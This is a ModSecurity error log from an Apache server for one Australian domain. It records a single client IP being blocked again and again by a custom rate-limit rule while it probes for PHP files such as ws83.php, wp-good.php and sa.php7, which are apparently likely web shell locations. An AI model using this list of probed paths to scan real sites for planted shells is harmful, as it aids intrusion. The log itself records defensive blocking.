[Tue Mar 24 23:42:36.202253 2026] [:error] [pid 38767:tid 38785] [client 4.223.157.92:8012] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acKw7PwkUqN4GJAI5oWCRQAAAQ8"]
[Tue Mar 24 23:42:36.740155 2026] [:error] [pid 3137:tid 3155] [client 4.223.157.92:7940] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "acKw7JdZesutm6dfYM9zKAAAANA"]
[Tue Mar 24 23:42:37.397772 2026] [:error] [pid 3137:tid 3139] [client 4.223.157.92:7998] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "acKw7ZdZesutm6dfYM9zLAAAAMA"]
[Tue Mar 24 23:42:37.955077 2026] [:error] [pid 3137:tid 3158] [client 4.223.157.92:8015] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "acKw7ZdZesutm6dfYM9zLwAAANM"]
[Tue Mar 24 23:42:38.497753 2026] [:error] [pid 3137:tid 3140] [client 4.223.157.92:8022] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "acKw7pdZesutm6dfYM9zNQAAAME"]
[Tue Mar 24 23:42:39.076202 2026] [:error] [pid 38767:tid 38772] [client 4.223.157.92:7958] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "acKw7_wkUqN4GJAI5oWCTgAAAQI"]
[Tue Mar 24 23:42:43.785344 2026] [:error] [pid 48214:tid 48257] [client 4.223.157.92:8063] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "acKw87eshLWZ3uUDHKmMBwAAAcU"]
[Tue Mar 24 23:42:44.322173 2026] [:error] [pid 48214:tid 48270] [client 4.223.157.92:4085] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "acKw9LeshLWZ3uUDHKmMCAAAAdI"]
[Tue Mar 24 23:42:44.881994 2026] [:error] [pid 48214:tid 48273] [client 4.223.157.92:7960] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "acKw9LeshLWZ3uUDHKmMCQAAAdU"]
[Tue Mar 24 23:42:47.970633 2026] [:error] [pid 48214:tid 48253] [client 4.223.157.92:7999] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "acKw97eshLWZ3uUDHKmMEAAAAcE"]
[Tue Mar 24 23:42:50.791195 2026] [:error] [pid 64198:tid 64203] [client 4.223.157.92:8004] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "acKw-nVzJqf6OS_oSZ31RgAAAUM"]
[Tue Mar 24 23:42:51.321192 2026] [:error] [pid 3137:tid 3158] [client 4.223.157.92:7938] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "acKw-5dZesutm6dfYM9zVAAAANM"]
[Tue Mar 24 23:42:51.861340 2026] [:error] [pid 48214:tid 48267] [client 4.223.157.92:4092] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "acKw-7eshLWZ3uUDHKmMFQAAAc8"]
[Tue Mar 24 23:42:52.410014 2026] [:error] [pid 64198:tid 64210] [client 4.223.157.92:7973] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "acKw_HVzJqf6OS_oSZ31RwAAAUo"]
[Tue Mar 24 23:42:52.973425 2026] [:error] [pid 48214:tid 48252] [client 4.223.157.92:8037] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "acKw_LeshLWZ3uUDHKmMGAAAAcA"]
[Tue Mar 24 23:42:53.610007 2026] [:error] [pid 64198:tid 64217] [client 4.223.157.92:8003] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "acKw_XVzJqf6OS_oSZ31SgAAAVE"]
[Tue Mar 24 23:42:54.146244 2026] [:error] [pid 64198:tid 64209] [client 4.223.157.92:4072] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "acKw_nVzJqf6OS_oSZ31TwAAAUk"]
[Tue Mar 24 23:42:54.674983 2026] [:error] [pid 48214:tid 48266] [client 4.223.157.92:4060] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "acKw_reshLWZ3uUDHKmMHAAAAc4"]
[Tue Mar 24 23:42:55.233465 2026] [:error] [pid 38767:tid 38780] [client 4.223.157.92:4047] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "acKw__wkUqN4GJAI5oWCbwAAAQo"]
[Tue Mar 24 23:42:55.775326 2026] [:error] [pid 38767:tid 38792] [client 4.223.157.92:7961] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "acKw__wkUqN4GJAI5oWCdAAAARY"]
[Tue Mar 24 23:42:56.307093 2026] [:error] [pid 64198:tid 64222] [client 4.223.157.92:7988] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "acKxAHVzJqf6OS_oSZ31UgAAAVY"]
[Tue Mar 24 23:42:56.877674 2026] [:error] [pid 3030:tid 3055] [client 4.223.157.92:7977] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "acKxAAyOuILyynfcqflztAAAAAY"]
[Tue Mar 24 23:42:57.431552 2026] [:error] [pid 3030:tid 3058] [client 4.223.157.92:8059] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "acKxAQyOuILyynfcqflztgAAAAk"]
[Tue Mar 24 23:42:57.991860 2026] [:error] [pid 3137:tid 3140] [client 4.223.157.92:7967] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "acKxAZdZesutm6dfYM9zWQAAAME"]
[Tue Mar 24 23:42:58.533690 2026] [:error] [pid 48128:tid 48161] [client 4.223.157.92:8005] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "acKxAsvR4LIMFLbM5VlLBgAAAYk"]
[Tue Mar 24 23:42:59.067950 2026] [:error] [pid 48128:tid 48153] [client 4.223.157.92:7949] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acKxA8vR4LIMFLbM5VlLCAAAAYQ"]
[Tue Mar 24 23:43:02.076519 2026] [:error] [pid 3137:tid 3143] [client 4.223.157.92:7947] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acKxBpdZesutm6dfYM9zYQAAAMQ"]
[Tue Mar 24 23:43:02.663405 2026] [:error] [pid 3031:tid 3095] [client 4.223.157.92:4057] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "acKxBqJBKytnG47nuiZHSAAAAFM"]
[Tue Mar 24 23:43:10.760480 2026] [:error] [pid 3030:tid 3066] [client 4.223.157.92:4079] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "acKxDgyOuILyynfcqflzzQAAABE"]
[Tue Mar 24 23:43:11.293453 2026] [:error] [pid 3137:tid 3158] [client 4.223.157.92:4058] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "acKxD5dZesutm6dfYM9zewAAANM"]
[Tue Mar 24 23:43:11.822209 2026] [:error] [pid 48219:tid 48291] [client 4.223.157.92:7941] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "acKxDyhf3b4R_lAIyv-o9AAAAgo"]
[Tue Mar 24 23:43:12.383732 2026] [:error] [pid 3137:tid 3144] [client 4.223.157.92:7953] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "acKxEJdZesutm6dfYM9zfQAAAMU"]
[Tue Mar 24 23:43:12.933479 2026] [:error] [pid 48219:tid 48300] [client 4.223.157.92:7948] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "acKxEChf3b4R_lAIyv-o-AAAAhM"]
[Tue Mar 24 23:43:13.490646 2026] [:error] [pid 3137:tid 3153] [client 4.223.157.92:7995] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "acKxEZdZesutm6dfYM9zhAAAAM4"]
[Tue Mar 24 23:43:14.167628 2026] [:error] [pid 3137:tid 3160] [client 4.223.157.92:4064] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "acKxEpdZesutm6dfYM9zigAAANU"]
[Tue Mar 24 23:43:14.738488 2026] [:error] [pid 3137:tid 3154] [client 4.223.157.92:4082] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "acKxEpdZesutm6dfYM9zkAAAAM8"]
[Tue Mar 24 23:43:15.311135 2026] [:error] [pid 3137:tid 3159] [client 4.223.157.92:8009] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acKxE5dZesutm6dfYM9zlwAAANQ"]
[Tue Mar 24 23:43:15.931161 2026] [:error] [pid 3137:tid 3155] [client 4.223.157.92:8013] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acKxE5dZesutm6dfYM9zngAAANA"]
[Tue Mar 24 23:43:16.472286 2026] [:error] [pid 38767:tid 38786] [client 4.223.157.92:8002] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acKxFPwkUqN4GJAI5oWCuwAAARA"]
[Tue Mar 24 23:43:17.623970 2026] [:error] [pid 3032:tid 3123] [client 4.223.157.92:8042] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "acKxFSa_-JXXD03-JNxu_wAAAJQ"]
[Tue Mar 24 23:43:18.152780 2026] [:error] [pid 3030:tid 3068] [client 4.223.157.92:8049] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acKxFgyOuILyynfcqflzzwAAABM"]
[Tue Mar 24 23:43:18.683041 2026] [:error] [pid 3137:tid 3163] [client 4.223.157.92:8035] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acKxFpdZesutm6dfYM9zogAAANg"]
[Tue Mar 24 23:43:22.338248 2026] [:error] [pid 64198:tid 64208] [client 4.223.157.92:4040] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acKxGnVzJqf6OS_oSZ31cgAAAUg"]
[Tue Mar 24 23:43:22.887580 2026] [:error] [pid 3137:tid 3139] [client 4.223.157.92:4045] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acKxGpdZesutm6dfYM9zqwAAAMA"]
[Tue Mar 24 23:43:23.459888 2026] [:error] [pid 64198:tid 64202] [client 4.223.157.92:7939] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acKxG3VzJqf6OS_oSZ31dgAAAUI"]
[Tue Mar 24 23:43:24.018287 2026] [:error] [pid 64198:tid 64205] [client 4.223.157.92:7989] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acKxHHVzJqf6OS_oSZ31eQAAAUU"]
[Tue Mar 24 23:43:24.570868 2026] [:error] [pid 38767:tid 38792] [client 4.223.157.92:4061] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acKxHPwkUqN4GJAI5oWC2AAAARY"]
[Tue Mar 24 23:43:25.113833 2026] [:error] [pid 3137:tid 3152] [client 4.223.157.92:8032] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "acKxHZdZesutm6dfYM9zuwAAAM0"]
[Tue Mar 24 23:43:25.688764 2026] [:error] [pid 3137:tid 3147] [client 4.223.157.92:8044] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acKxHZdZesutm6dfYM9zwwAAAMg"]
[Tue Mar 24 23:43:27.010778 2026] [:error] [pid 38767:tid 38772] [client 4.223.157.92:4057] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acKxH_wkUqN4GJAI5oWC4gAAAQI"]
[Tue Mar 24 23:43:33.691759 2026] [:error] [pid 38767:tid 38771] [client 4.223.157.92:4043] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acKxJfwkUqN4GJAI5oWC5gAAAQE"]
[Tue Mar 24 23:43:34.231221 2026] [:error] [pid 3137:tid 3149] [client 4.223.157.92:8023] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "acKxJpdZesutm6dfYM9z4gAAAMo"]
[Tue Mar 24 23:43:34.760502 2026] [:error] [pid 3137:tid 3156] [client 4.223.157.92:8039] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acKxJpdZesutm6dfYM9z5QAAANE"]
[Tue Mar 24 23:43:35.332889 2026] [:error] [pid 3137:tid 3139] [client 4.223.157.92:7997] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acKxJ5dZesutm6dfYM9z7QAAAMA"]
[Tue Mar 24 23:43:35.864053 2026] [:error] [pid 48128:tid 48172] [client 4.223.157.92:3986] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acKxJ8vR4LIMFLbM5VlLHQAAAZM"]
[Tue Mar 24 23:43:36.438192 2026] [:error] [pid 3137:tid 3154] [client 4.223.157.92:7970] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acKxKJdZesutm6dfYM9z8wAAAM8"]
